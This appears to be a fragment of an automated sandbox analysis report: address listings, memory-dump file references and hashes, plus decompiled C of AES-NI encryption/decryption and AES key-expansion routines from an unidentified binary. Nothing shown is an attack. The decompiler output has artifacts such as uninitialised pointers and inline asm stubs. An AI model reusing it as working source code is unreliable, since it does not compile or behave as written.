                                                                0x00abc240
                                                                0x00abc245
                                                                0x00abc24b
                                                                0x00abc25b
                                                                0x00abc261
                                                                0x00abc26b
                                                                0x00abc273
                                                                0x00abc279
                                                                0x00abc27c
                                                                0x00abc280
                                                                0x00abc286
                                                                0x00abc49a
                                                                0x00abc297
                                                                0x00abc29e
                                                                0x00abc2a1
                                                                0x00abc2a4
                                                                0x00abc2ae
                                                                0x00abc2b0
                                                                0x00abc2b3
                                                                0x00abc2b3
                                                                0x00abc2bd
                                                                0x00abc2c3
                                                                0x00abc2c4
                                                                0x00abc2c9
                                                                0x00abc2cc
                                                                0x00abc2cd
                                                                0x00abc2d1
                                                                0x00abc2d3
                                                                0x00abc2d9
                                                                0x00abc326
                                                                0x00abc326
                                                                0x00abc330
                                                                0x00abc340
                                                                0x00abc344
                                                                0x00abc352
                                                                0x00abc356
                                                                0x00abc359
                                                                0x00abc361
                                                                0x00abc36b
                                                                0x00abc36f
                                                                0x00abc372
                                                                0x00abc374
                                                                0x00abc37c
                                                                0x00abc37f
                                                                0x00abc387
                                                                0x00abc38a
                                                                0x00abc390
                                                                0x00abc393
                                                                0x00abc396
                                                                0x00abc39f
                                                                0x00abc39f
                                                                0x00abc3a4
                                                                0x00abc3a4
                                                                0x00abc3a9
                                                                0x00abc3b1
                                                                0x00abc3b1
                                                                0x00abc3b1
                                                                0x00abc3b8
                                                                0x00abc3b8
                                                                0x00abc3c0
                                                                0x00abc3c3
                                                                0x00abc3cf
                                                                0x00abc3d3
                                                                0x00abc3db
                                                                0x00abc3e4
                                                                0x00abc3e8
                                                                0x00abc3f2
                                                                0x00abc3f6
                                                                0x00abc3f7
                                                                0x00abc3fe
                                                                0x00abc400
                                                                0x00abc408
                                                                0x00abc40b
                                                                0x00abc413
                                                                0x00abc416
                                                                0x00abc41c
                                                                0x00abc41f
                                                                0x00abc422
                                                                0x00abc42b
                                                                0x00abc42b
                                                                0x00abc430
                                                                0x00abc430
                                                                0x00abc3e8
                                                                0x00abc435
                                                                0x00abc435
                                                                0x00abc43e
                                                                0x00abc44a
                                                                0x00abc44e
                                                                0x00abc453
                                                                0x00abc455
                                                                0x00abc458
                                                                0x00abc45b
                                                                0x00abc45e
                                                                0x00abc460
                                                                0x00abc460
                                                                0x00abc46b
                                                                0x00abc471
                                                                0x00abc472
                                                                0x00abc475
                                                                0x00abc476
                                                                0x00abc477
                                                                0x00abc47b
                                                                0x00abc47f
                                                                0x00abc47f
                                                                0x00abc2db
                                                                0x00abc2e4
                                                                0x00abc2eb
                                                                0x00abc2f1
                                                                0x00abc2f7
                                                                0x00abc2f9
                                                                0x00abc2fe
                                                                0x00abc2ff
                                                                0x00abc300
                                                                0x00abc303
                                                                0x00abc307
                                                                0x00abc2e0
                                                                0x00000000
                                                                0x00abc309
                                                                0x00abc313
                                                                0x00abc31b
                                                                0x00abc31f
                                                                0x00abc323
                                                                0x00000000
                                                                0x00abc323
                                                                0x00000000
                                                                0x00abc307
                                                                0x00abc30d
                                                                0x00000000
                                                                0x00000000
                                                                0x00abc30d
                                                                0x00abc483
                                                                0x00abc485
                                                                0x00abc492
                                                                0x00abc492

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3a6d284aeba771d297abd19d85f1e2230c4e8247e5081d0bd3926f657acb5ba2
                                                                • Instruction ID: 60a9cd9b0627159bd71d40435d2473c30b1556af7fcbbf53b143ead0f951cd75
                                                                • Opcode Fuzzy Hash: 3a6d284aeba771d297abd19d85f1e2230c4e8247e5081d0bd3926f657acb5ba2
                                                                • Instruction Fuzzy Hash: A9812A715087009FC724CF29C8849ABF7F9FF88314F948A2DE49A8B641D735E945CB56
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 30%
                                                                			E00AB8CC0(intOrPtr _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
                                                                				signed int _t20;
                                                                				signed int _t21;
                                                                				void* _t22;
                                                                				void* _t23;
                                                                				void* _t24;
                                                                				intOrPtr _t25;
                                                                				signed int _t26;
                                                                				signed int _t27;
                                                                				signed int _t28;
                                                                				intOrPtr _t29;
                                                                				void* _t30;
                                                                				void* _t31;
                                                                				intOrPtr _t32;
                                                                				intOrPtr _t35;
                                                                				void* _t36;
                                                                				void* _t37;
                                                                				intOrPtr _t38;
                                                                				intOrPtr _t39;
                                                                				void* _t45;
                                                                				void* _t46;
                                                                
                                                                				_t35 = _a4;
                                                                				_t32 = _a8;
                                                                				_t29 = _a16;
                                                                				_t25 = _a20;
                                                                				_t20 = _a12 & 0xfffffff0;
                                                                				if(_t20 == 0) {
                                                                					L34:
                                                                					asm("pxor xmm0, xmm0");
                                                                					asm("pxor xmm1, xmm1");
                                                                					asm("pxor xmm2, xmm2");
                                                                					asm("pxor xmm3, xmm3");
                                                                					asm("pxor xmm4, xmm4");
                                                                					asm("pxor xmm5, xmm5");
                                                                					asm("pxor xmm6, xmm6");
                                                                					asm("pxor xmm7, xmm7");
                                                                					return _t20;
                                                                				}
                                                                				_t28 =  *(_t29 + 0xf0);
                                                                				if(_t25 == 0) {
                                                                					_t38 = _t29;
                                                                					_t26 = _t28;
                                                                					__eflags = _t20 - 0x60;
                                                                					if(_t20 < 0x60) {
                                                                						L23:
                                                                						asm("movups xmm2, [esi]");
                                                                						__eflags = _t20 - 0x20;
                                                                						if(__eflags < 0) {
                                                                							asm("movups xmm0, [edx]");
                                                                							asm("movups xmm1, [edx+0x10]");
                                                                							_t30 = _t29 + 0x20;
                                                                							asm("xorps xmm2, xmm0");
                                                                							do {
                                                                								asm("aesdec xmm2, xmm1");
                                                                								_t28 = _t28 - 1;
                                                                								__eflags = _t28;
                                                                								asm("movups xmm1, [edx]");
                                                                								_t18 = _t30 + 0x10; // 0xcccccccc
                                                                								_t30 = _t18;
                                                                							} while (_t28 != 0);
                                                                							asm("aesdeclast xmm2, xmm1");
                                                                							asm("movups [edi], xmm2");
                                                                							goto L34;
                                                                						}
                                                                						asm("movups xmm3, [esi+0x10]");
                                                                						if(__eflags == 0) {
                                                                							_t20 = E00AB8880(_t20, _t28, _t29);
                                                                							asm("movups [edi], xmm2");
                                                                							asm("movups [edi+0x10], xmm3");
                                                                						} else {
                                                                							asm("movups xmm4, [esi+0x20]");
                                                                							__eflags = _t20 - 0x40;
                                                                							if(__eflags < 0) {
                                                                								_t20 = E00AB8960(_t20, _t28, _t29);
                                                                								asm("movups [edi], xmm2");
                                                                								asm("movups [edi+0x10], xmm3");
                                                                								asm("movups [edi+0x20], xmm4");
                                                                							} else {
                                                                								asm("movups xmm5, [esi+0x30]");
                                                                								if(__eflags == 0) {
                                                                									_t20 = E00AB8A70(_t20, _t28, _t29);
                                                                									asm("movups [edi], xmm2");
                                                                									asm("movups [edi+0x10], xmm3");
                                                                									asm("movups [edi+0x20], xmm4");
                                                                									asm("movups [edi+0x30], xmm5");
                                                                								} else {
                                                                									asm("movups xmm6, [esi+0x40]");
                                                                									asm("xorps xmm7, xmm7");
                                                                									_t20 = E00AB8BE0(_t20, _t28, _t29);
                                                                									asm("movups [edi], xmm2");
                                                                									asm("movups [edi+0x10], xmm3");
                                                                									asm("movups [edi+0x20], xmm4");
                                                                									asm("movups [edi+0x30], xmm5");
                                                                									asm("movups [edi+0x40], xmm6");
                                                                								}
                                                                							}
                                                                						}
                                                                						goto L34;
                                                                					}
                                                                					asm("movdqu xmm2, [esi]");
                                                                					asm("movdqu xmm3, [esi+0x10]");
                                                                					asm("movdqu xmm4, [esi+0x20]");
                                                                					asm("movdqu xmm5, [esi+0x30]");
                                                                					asm("movdqu xmm6, [esi+0x40]");
                                                                					asm("movdqu xmm7, [esi+0x50]");
                                                                					_t13 = _t35 + 0x60; // 0x1009e8d
                                                                					_t36 = _t13;
                                                                					_t21 = _t20 - 0x60;
                                                                					while(1) {
                                                                						_t22 = E00AB8BE0(_t21, _t28, _t29);
                                                                						_t29 = _t38;
                                                                						_t28 = _t26;
                                                                						_t21 = _t22 - 0x60;
                                                                						__eflags = _t21;
                                                                						if(_t21 < 0) {
                                                                							break;
                                                                						}
                                                                						asm("movups [edi], xmm2");
                                                                						asm("movdqu xmm2, [esi]");
                                                                						asm("movups [edi+0x10], xmm3");
                                                                						asm("movdqu xmm3, [esi+0x10]");
                                                                						asm("movups [edi+0x20], xmm4");
                                                                						asm("movdqu xmm4, [esi+0x20]");
                                                                						asm("movups [edi+0x30], xmm5");
                                                                						asm("movdqu xmm5, [esi+0x30]");
                                                                						asm("movups [edi+0x40], xmm6");
                                                                						asm("movdqu xmm6, [esi+0x40]");
                                                                						asm("movups [edi+0x50], xmm7");
                                                                						_t32 = _t32 + 0x60;
                                                                						asm("movdqu xmm7, [esi+0x50]");
                                                                						_t36 = _t36 + 0x60;
                                                                					}
                                                                					asm("movups [edi], xmm2");
                                                                					asm("movups [edi+0x10], xmm3");
                                                                					asm("movups [edi+0x20], xmm4");
                                                                					asm("movups [edi+0x30], xmm5");
                                                                					asm("movups [edi+0x40], xmm6");
                                                                					asm("movups [edi+0x50], xmm7");
                                                                					_t20 = _t21 + 0x60;
                                                                					__eflags = _t20;
                                                                					if(_t20 == 0) {
                                                                						goto L34;
                                                                					}
                                                                					goto L23;
                                                                				}
                                                                				_t39 = _t29;
                                                                				_t27 = _t28;
                                                                				if(_t20 < 0x60) {
                                                                					L7:
                                                                					asm("movups xmm2, [esi]");
                                                                					_t45 = _t20 - 0x20;
                                                                					if(_t45 < 0) {
                                                                						asm("movups xmm0, [edx]");
                                                                						asm("movups xmm1, [edx+0x10]");
                                                                						_t31 = _t29 + 0x20;
                                                                						asm("xorps xmm2, xmm0");
                                                                						do {
                                                                							asm("aesenc xmm2, xmm1");
                                                                							_t28 = _t28 - 1;
                                                                							__eflags = _t28;
                                                                							asm("movups xmm1, [edx]");
                                                                							_t12 = _t31 + 0x10; // 0xcccccccc
                                                                							_t31 = _t12;
                                                                						} while (_t28 != 0);
                                                                						asm("aesenclast xmm2, xmm1");
                                                                						asm("movups [edi], xmm2");
                                                                					} else {
                                                                						asm("movups xmm3, [esi+0x10]");
                                                                						if(_t45 == 0) {
                                                                							_t20 = E00AB8820(_t20, _t28, _t29);
                                                                							asm("movups [edi], xmm2");
                                                                							asm("movups [edi+0x10], xmm3");
                                                                						} else {
                                                                							asm("movups xmm4, [esi+0x20]");
                                                                							_t46 = _t20 - 0x40;
                                                                							if(_t46 < 0) {
                                                                								_t20 = E00AB88E0(_t20, _t28, _t29);
                                                                								asm("movups [edi], xmm2");
                                                                								asm("movups [edi+0x10], xmm3");
                                                                								asm("movups [edi+0x20], xmm4");
                                                                							} else {
                                                                								asm("movups xmm5, [esi+0x30]");
                                                                								if(_t46 == 0) {
                                                                									_t20 = E00AB89E0(_t20, _t28, _t29);
                                                                									asm("movups [edi], xmm2");
                                                                									asm("movups [edi+0x10], xmm3");
                                                                									asm("movups [edi+0x20], xmm4");
                                                                									asm("movups [edi+0x30], xmm5");
                                                                								} else {
                                                                									asm("movups xmm6, [esi+0x40]");
                                                                									asm("xorps xmm7, xmm7");
                                                                									_t20 = E00AB8B00(_t20, _t28, _t29);
                                                                									asm("movups [edi], xmm2");
                                                                									asm("movups [edi+0x10], xmm3");
                                                                									asm("movups [edi+0x20], xmm4");
                                                                									asm("movups [edi+0x30], xmm5");
                                                                									asm("movups [edi+0x40], xmm6");
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                					goto L34;
                                                                				} else {
                                                                					asm("movdqu xmm2, [esi]");
                                                                					asm("movdqu xmm3, [esi+0x10]");
                                                                					asm("movdqu xmm4, [esi+0x20]");
                                                                					asm("movdqu xmm5, [esi+0x30]");
                                                                					asm("movdqu xmm6, [esi+0x40]");
                                                                					asm("movdqu xmm7, [esi+0x50]");
                                                                					_t7 = _t35 + 0x60; // 0x1009e8d
                                                                					_t37 = _t7;
                                                                					_t23 = _t20 - 0x60;
                                                                					L5:
                                                                					_t24 = E00AB8B00(_t23, _t28, _t29);
                                                                					_t29 = _t39;
                                                                					_t28 = _t27;
                                                                					_t23 = _t24 - 0x60;
                                                                					if(_t23 >= 0) {
                                                                						asm("movups [edi], xmm2");
                                                                						asm("movdqu xmm2, [esi]");
                                                                						asm("movups [edi+0x10], xmm3");
                                                                						asm("movdqu xmm3, [esi+0x10]");
                                                                						asm("movups [edi+0x20], xmm4");
                                                                						asm("movdqu xmm4, [esi+0x20]");
                                                                						asm("movups [edi+0x30], xmm5");
                                                                						asm("movdqu xmm5, [esi+0x30]");
                                                                						asm("movups [edi+0x40], xmm6");
                                                                						asm("movdqu xmm6, [esi+0x40]");
                                                                						asm("movups [edi+0x50], xmm7");
                                                                						_t32 = _t32 + 0x60;
                                                                						asm("movdqu xmm7, [esi+0x50]");
                                                                						_t37 = _t37 + 0x60;
                                                                						goto L5;
                                                                					}
                                                                					asm("movups [edi], xmm2");
                                                                					asm("movups [edi+0x10], xmm3");
                                                                					asm("movups [edi+0x20], xmm4");
                                                                					asm("movups [edi+0x30], xmm5");
                                                                					asm("movups [edi+0x40], xmm6");
                                                                					asm("movups [edi+0x50], xmm7");
                                                                					_t20 = _t23 + 0x60;
                                                                					if(_t20 == 0) {
                                                                						goto L34;
                                                                					}
                                                                					goto L7;
                                                                				}
                                                                			}























                                                                0x00ab8cc4
                                                                0x00ab8cc8
                                                                0x00ab8cd0
                                                                0x00ab8cd4
                                                                0x00ab8cd8
                                                                0x00ab8cdb
                                                                0x00ab9004
                                                                0x00ab9004
                                                                0x00ab9008
                                                                0x00ab900c
                                                                0x00ab9010
                                                                0x00ab9014
                                                                0x00ab9018
                                                                0x00ab901c
                                                                0x00ab9020
                                                                0x00ab9028
                                                                0x00ab9028
                                                                0x00ab8ce1
                                                                0x00ab8ce9
                                                                0x00ab8e80
                                                                0x00ab8e82
                                                                0x00ab8e84
                                                                0x00ab8e87
                                                                0x00ab8f2f
                                                                0x00ab8f2f
                                                                0x00ab8f32
                                                                0x00ab8f35
                                                                0x00ab8f80
                                                                0x00ab8f83
                                                                0x00ab8f87
                                                                0x00ab8f8a
                                                                0x00ab8f8d
                                                                0x00ab8f8d
                                                                0x00ab8f92
                                                                0x00ab8f92
                                                                0x00ab8f93
                                                                0x00ab8f96
                                                                0x00ab8f96
                                                                0x00ab8f96
                                                                0x00ab8f9f
                                                                0x00ab8fa4
                                                                0x00000000
                                                                0x00ab8fa4
                                                                0x00ab8f3b
                                                                0x00ab8f3f
                                                                0x00ab8fb0
                                                                0x00ab8fb5
                                                                0x00ab8fb8
                                                                0x00ab8f45
                                                                0x00ab8f45
                                                                0x00ab8f49
                                                                0x00ab8f4c
                                                                0x00ab8fd0
                                                                0x00ab8fd5
                                                                0x00ab8fd8
                                                                0x00ab8fdc
                                                                0x00ab8f52
                                                                0x00ab8f52
                                                                0x00ab8f56
                                                                0x00ab8ff0
                                                                0x00ab8ff5
                                                                0x00ab8ff8
                                                                0x00ab8ffc
                                                                0x00ab9000
                                                                0x00ab8f5c
                                                                0x00ab8f5c
                                                                0x00ab8f60
                                                                0x00ab8f63
                                                                0x00ab8f68
                                                                0x00ab8f6b
                                                                0x00ab8f6f
                                                                0x00ab8f73
                                                                0x00ab8f77
                                                                0x00ab8f77
                                                                0x00ab8f56
                                                                0x00ab8f4c
                                                                0x00000000
                                                                0x00ab8f3f
                                                                0x00ab8e8d
                                                                0x00ab8e91
                                                                0x00ab8e96
                                                                0x00ab8e9b
                                                                0x00ab8ea0
                                                                0x00ab8ea5
                                                                0x00ab8eaa
                                                                0x00ab8eaa
                                                                0x00ab8ead
                                                                0x00ab8efa
                                                                0x00ab8efa
                                                                0x00ab8eff
                                                                0x00ab8f01
                                                                0x00ab8f03
                                                                0x00ab8f03
                                                                0x00ab8f06
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab8ec0
                                                                0x00ab8ec3
                                                                0x00ab8ec7
                                                                0x00ab8ecb
                                                                0x00ab8ed0
                                                                0x00ab8ed4
                                                                0x00ab8ed9
                                                                0x00ab8edd
                                                                0x00ab8ee2
                                                                0x00ab8ee6
                                                                0x00ab8eeb
                                                                0x00ab8eef
                                                                0x00ab8ef2
                                                                0x00ab8ef7
                                                                0x00ab8ef7
                                                                0x00ab8f0c
                                                                0x00ab8f0f
                                                                0x00ab8f13
                                                                0x00ab8f17
                                                                0x00ab8f1b
                                                                0x00ab8f1f
                                                                0x00ab8f26
                                                                0x00ab8f26
                                                                0x00ab8f29
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab8f29
                                                                0x00ab8cef
                                                                0x00ab8cf1
                                                                0x00ab8cf6
                                                                0x00ab8d9f
                                                                0x00ab8d9f
                                                                0x00ab8da2
                                                                0x00ab8da5
                                                                0x00ab8df0
                                                                0x00ab8df3
                                                                0x00ab8df7
                                                                0x00ab8dfa
                                                                0x00ab8dfd
                                                                0x00ab8dfd
                                                                0x00ab8e02
                                                                0x00ab8e02
                                                                0x00ab8e03
                                                                0x00ab8e06
                                                                0x00ab8e06
                                                                0x00ab8e06
                                                                0x00ab8e0f
                                                                0x00ab8e14
                                                                0x00ab8dab
                                                                0x00ab8dab
                                                                0x00ab8daf
                                                                0x00ab8e20
                                                                0x00ab8e25
                                                                0x00ab8e28
                                                                0x00ab8db5
                                                                0x00ab8db5
                                                                0x00ab8db9
                                                                0x00ab8dbc
                                                                0x00ab8e40
                                                                0x00ab8e45
                                                                0x00ab8e48
                                                                0x00ab8e4c
                                                                0x00ab8dc2
                                                                0x00ab8dc2
                                                                0x00ab8dc6
                                                                0x00ab8e60
                                                                0x00ab8e65
                                                                0x00ab8e68
                                                                0x00ab8e6c
                                                                0x00ab8e70
                                                                0x00ab8dcc
                                                                0x00ab8dcc
                                                                0x00ab8dd0
                                                                0x00ab8dd3
                                                                0x00ab8dd8
                                                                0x00ab8ddb
                                                                0x00ab8ddf
                                                                0x00ab8de3
                                                                0x00ab8de7
                                                                0x00ab8de7
                                                                0x00ab8dc6
                                                                0x00ab8dbc
                                                                0x00ab8daf
                                                                0x00000000
                                                                0x00ab8cfc
                                                                0x00ab8cfc
                                                                0x00ab8d00
                                                                0x00ab8d05
                                                                0x00ab8d0a
                                                                0x00ab8d0f
                                                                0x00ab8d14
                                                                0x00ab8d19
                                                                0x00ab8d19
                                                                0x00ab8d1c
                                                                0x00ab8d6a
                                                                0x00ab8d6a
                                                                0x00ab8d6f
                                                                0x00ab8d71
                                                                0x00ab8d73
                                                                0x00ab8d76
                                                                0x00ab8d30
                                                                0x00ab8d33
                                                                0x00ab8d37
                                                                0x00ab8d3b
                                                                0x00ab8d40
                                                                0x00ab8d44
                                                                0x00ab8d49
                                                                0x00ab8d4d
                                                                0x00ab8d52
                                                                0x00ab8d56
                                                                0x00ab8d5b
                                                                0x00ab8d5f
                                                                0x00ab8d62
                                                                0x00ab8d67
                                                                0x00000000
                                                                0x00ab8d67
                                                                0x00ab8d7c
                                                                0x00ab8d7f
                                                                0x00ab8d83
                                                                0x00ab8d87
                                                                0x00ab8d8b
                                                                0x00ab8d8f
                                                                0x00ab8d96
                                                                0x00ab8d99
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab8d99

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6e92871ad0a21b8d8f968a3ee2c10e49db5235dd4a4bc92c1192d976ed0dae59
                                                                • Instruction ID: 181c0e95ec2a814019f291d99803c4c7582a96640186a8dc0bdf8c86d1eddd14
                                                                • Opcode Fuzzy Hash: 6e92871ad0a21b8d8f968a3ee2c10e49db5235dd4a4bc92c1192d976ed0dae59
                                                                • Instruction Fuzzy Hash: 9BA1EE21D18FD693E7155F3D86405F2B764BEB9308B11FB08EED925923DB24B6E4C284
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 98%
                                                                			E00AC1529() {
                                                                				signed int _t123;
                                                                				signed int _t128;
                                                                				signed int _t129;
                                                                				signed int _t130;
                                                                				void* _t132;
                                                                				signed int _t133;
                                                                				signed int _t138;
                                                                				signed int _t139;
                                                                				signed int _t140;
                                                                				signed int _t141;
                                                                				signed int _t142;
                                                                				signed int _t151;
                                                                				signed int _t152;
                                                                				signed int _t153;
                                                                				unsigned int _t154;
                                                                				signed int _t159;
                                                                				signed int _t160;
                                                                				signed int _t161;
                                                                				intOrPtr _t200;
                                                                				signed int _t202;
                                                                				signed int _t205;
                                                                				signed int _t208;
                                                                				unsigned int _t211;
                                                                				unsigned int _t214;
                                                                				unsigned int _t217;
                                                                				unsigned int _t219;
                                                                				signed int* _t221;
                                                                				signed int* _t223;
                                                                				void* _t241;
                                                                				void* _t243;
                                                                				void* _t245;
                                                                
                                                                				_pop(_t241);
                                                                				_t1 = _t241 - 0x29e9; // 0xa56363c6
                                                                				_t243 = _t1 + 0x880;
                                                                				_t200 =  *((intOrPtr*)(_t245 + 0x1c));
                                                                				if(_t200 == 0x80) {
                                                                					_t123 =  *_t223;
                                                                					_t211 = _t223[3];
                                                                					 *_t221 = _t123;
                                                                					_t221[1] = _t223[1];
                                                                					_t221[2] = _t223[2];
                                                                					_t221[3] = _t211;
                                                                					_t202 = 0;
                                                                					while(1) {
                                                                						_t128 = _t123 ^ ( *(_t243 + (_t211 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000018 ^  *(_t243 + (_t211 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t243 + (_t211 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t243 + (_t211 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^  *(_t243 + 0x380 + _t202 * 4);
                                                                						_t221[4] = _t128;
                                                                						_t129 = _t128 ^ _t221[1];
                                                                						_t221[5] = _t129;
                                                                						_t130 = _t129 ^ _t221[2];
                                                                						_t221[6] = _t130;
                                                                						_t221[7] = _t130 ^ _t221[3];
                                                                						_t202 = _t202 + 1;
                                                                						_t221 =  &(_t221[4]);
                                                                						if(_t202 >= 0xa) {
                                                                							break;
                                                                						}
                                                                						_t123 =  *_t221;
                                                                						_t211 = _t221[3];
                                                                					}
                                                                					_t221[0x14] = 0xa;
                                                                					_t132 = 0;
                                                                				} else {
                                                                					if(_t200 == 0xc0) {
                                                                						_t133 =  *_t223;
                                                                						 *_t221 = _t133;
                                                                						_t221[1] = _t223[1];
                                                                						_t221[2] = _t223[2];
                                                                						_t221[3] = _t223[3];
                                                                						_t214 = _t223[5];
                                                                						_t221[4] = _t223[4];
                                                                						_t221[5] = _t214;
                                                                						_t205 = 0;
                                                                						while(1) {
                                                                							_t138 = _t133 ^ ( *(_t243 + (_t214 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000018 ^  *(_t243 + (_t214 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t243 + (_t214 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t243 + (_t214 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^  *(_t243 + 0x380 + _t205 * 4);
                                                                							_t221[6] = _t138;
                                                                							_t139 = _t138 ^ _t221[1];
                                                                							_t221[7] = _t139;
                                                                							_t140 = _t139 ^ _t221[2];
                                                                							_t221[8] = _t140;
                                                                							_t141 = _t140 ^ _t221[3];
                                                                							_t221[9] = _t141;
                                                                							if(_t205 == 7) {
                                                                								break;
                                                                							}
                                                                							_t205 = _t205 + 1;
                                                                							_t142 = _t141 ^ _t221[4];
                                                                							_t221[0xa] = _t142;
                                                                							_t221[0xb] = _t142 ^ _t221[5];
                                                                							_t221 =  &(_t221[6]);
                                                                							_t133 =  *_t221;
                                                                							_t214 = _t221[5];
                                                                						}
                                                                						_t221[0x12] = 0xc;
                                                                						_t132 = 0;
                                                                					} else {
                                                                						if(_t200 == 0x100) {
                                                                							 *_t221 =  *_t223;
                                                                							_t221[1] = _t223[1];
                                                                							_t221[2] = _t223[2];
                                                                							_t221[3] = _t223[3];
                                                                							_t217 = _t223[7];
                                                                							_t221[4] = _t223[4];
                                                                							_t221[5] = _t223[5];
                                                                							_t221[6] = _t223[6];
                                                                							_t221[7] = _t217;
                                                                							_t208 = 0;
                                                                							while(1) {
                                                                								_t151 =  *_t221 ^ ( *(_t243 + (_t217 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000018 ^  *(_t243 + (_t217 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t243 + (_t217 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t243 + (_t217 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^  *(_t243 + 0x380 + _t208 * 4);
                                                                								_t221[8] = _t151;
                                                                								_t152 = _t151 ^ _t221[1];
                                                                								_t221[9] = _t152;
                                                                								_t153 = _t152 ^ _t221[2];
                                                                								_t221[0xa] = _t153;
                                                                								_t154 = _t153 ^ _t221[3];
                                                                								_t221[0xb] = _t154;
                                                                								if(_t208 == 6) {
                                                                									break;
                                                                								}
                                                                								_t208 = _t208 + 1;
                                                                								_t219 = _t154;
                                                                								_t159 = _t221[4] ^  *(_t243 + (_t219 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t243 + (_t219 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t243 + (_t219 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t243 + (_t219 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000018;
                                                                								_t221[0xc] = _t159;
                                                                								_t160 = _t159 ^ _t221[5];
                                                                								_t221[0xd] = _t160;
                                                                								_t161 = _t160 ^ _t221[6];
                                                                								_t221[0xe] = _t161;
                                                                								_t221[0xf] = _t161 ^ _t221[7];
                                                                								_t221 =  &(_t221[8]);
                                                                								_t217 = _t221[7];
                                                                							}
                                                                							_t221[0xc] = 0xe;
                                                                							_t132 = 0;
                                                                						} else {
                                                                							_t132 = 0xfffffffe;
                                                                						}
                                                                					}
                                                                				}
                                                                				return _t132;
                                                                			}


































                                                                0x00ac1529
                                                                0x00ac152a
                                                                0x00ac1530
                                                                0x00ac154e
                                                                0x00ac1558
                                                                0x00ac1580
                                                                0x00ac1588
                                                                0x00ac158b
                                                                0x00ac158d
                                                                0x00ac1590
                                                                0x00ac1593
                                                                0x00ac1596
                                                                0x00ac15a5
                                                                0x00ac15d9
                                                                0x00ac15e0
                                                                0x00ac15e3
                                                                0x00ac15e6
                                                                0x00ac15e9
                                                                0x00ac15ec
                                                                0x00ac15f2
                                                                0x00ac15f5
                                                                0x00ac15f6
                                                                0x00ac15fc
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac15a0
                                                                0x00ac15a2
                                                                0x00ac15a2
                                                                0x00ac1602
                                                                0x00ac1609
                                                                0x00ac155e
                                                                0x00ac1564
                                                                0x00ac1610
                                                                0x00ac161b
                                                                0x00ac161d
                                                                0x00ac1620
                                                                0x00ac1623
                                                                0x00ac1629
                                                                0x00ac162c
                                                                0x00ac162f
                                                                0x00ac1632
                                                                0x00ac1641
                                                                0x00ac1675
                                                                0x00ac167c
                                                                0x00ac167f
                                                                0x00ac1682
                                                                0x00ac1685
                                                                0x00ac1688
                                                                0x00ac168b
                                                                0x00ac168e
                                                                0x00ac1694
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac169a
                                                                0x00ac169b
                                                                0x00ac169e
                                                                0x00ac16a4
                                                                0x00ac16a7
                                                                0x00ac163c
                                                                0x00ac163e
                                                                0x00ac163e
                                                                0x00ac16af
                                                                0x00ac16b6
                                                                0x00ac156a
                                                                0x00ac1570
                                                                0x00ac16c8
